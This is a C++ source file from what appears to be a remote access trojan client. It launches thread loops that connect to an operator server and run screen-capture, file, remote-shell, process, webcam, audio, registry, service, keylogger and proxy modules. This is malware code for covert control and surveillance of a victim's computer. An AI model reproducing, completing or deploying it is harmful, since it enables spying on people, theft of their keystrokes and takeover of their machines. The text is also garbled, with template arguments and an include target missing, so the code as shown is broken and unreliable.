#include "StdAfx.h" #include "Common.h" #include "ScreenManager.h" #include "FileManager.h" #include "TalkManager.h" #include "ShellManager.h" #include "SystemManager.h" #include "AudioManager.h" #include "RegisterManager.h" #include "ServicesManager.h" #include "VideoManager.h" #include "KeyboardManager.h" #include "ProxyManager.h" #include "KernelManager.h" #include DWORD WINAPI ThreadProc(LPVOID lParam) { THREAD_ARG_LIST ThreadArgList = {0}; memcpy(&ThreadArgList,lParam,sizeof(THREAD_ARG_LIST)); SetEvent(ThreadArgList.hEvent); DWORD dwReturn = ThreadArgList.StartAddress(ThreadArgList.lParam); return dwReturn; } template DWORD WINAPI LoopManager(LPVOID lParam) { ThreadInfo *pInfo = (ThreadInfo *)lParam; IOCPClient *ClientObject = (IOCPClient *)pInfo->p; CONNECT_ADDRESS& g_SETTINGS(*(pInfo->conn)); ClientObject->SetServerAddress(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()); if (pInfo->run == FOREVER_RUN || ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) { Manager m(ClientObject, n, pInfo->user); pInfo->user = &m; ClientObject->RunEventLoop(pInfo->run); pInfo->user = NULL; } delete ClientObject; pInfo->p = NULL; return 0; } DWORD WINAPI LoopScreenManager(LPVOID lParam) { return LoopManager(lParam); } DWORD WINAPI LoopFileManager(LPVOID lParam) { return LoopManager(lParam); } DWORD WINAPI LoopTalkManager(LPVOID lParam) { return LoopManager(lParam); } DWORD WINAPI LoopShellManager(LPVOID lParam) { return LoopManager(lParam); } DWORD WINAPI LoopProcessManager(LPVOID lParam) { return LoopManager(lParam); } DWORD WINAPI LoopWindowManager(LPVOID lParam) { return LoopManager(lParam); } DWORD WINAPI LoopVideoManager(LPVOID lParam) { return LoopManager(lParam); } DWORD WINAPI LoopAudioManager(LPVOID lParam) { return LoopManager(lParam); } DWORD WINAPI LoopRegisterManager(LPVOID lParam) { return LoopManager(lParam); } DWORD WINAPI LoopServicesManager(LPVOID lParam) { return LoopManager(lParam); } DWORD WINAPI LoopKeyboardManager(LPVOID lParam) { iniFile cfg(CLIENT_PATH); std::string s = cfg.GetStr("settings", "kbrecord", "No"); if (s == "Yes") { return LoopManager(lParam); } return LoopManager(lParam); } DWORD WINAPI LoopProxyManager(LPVOID lParam) { return LoopManager(lParam); }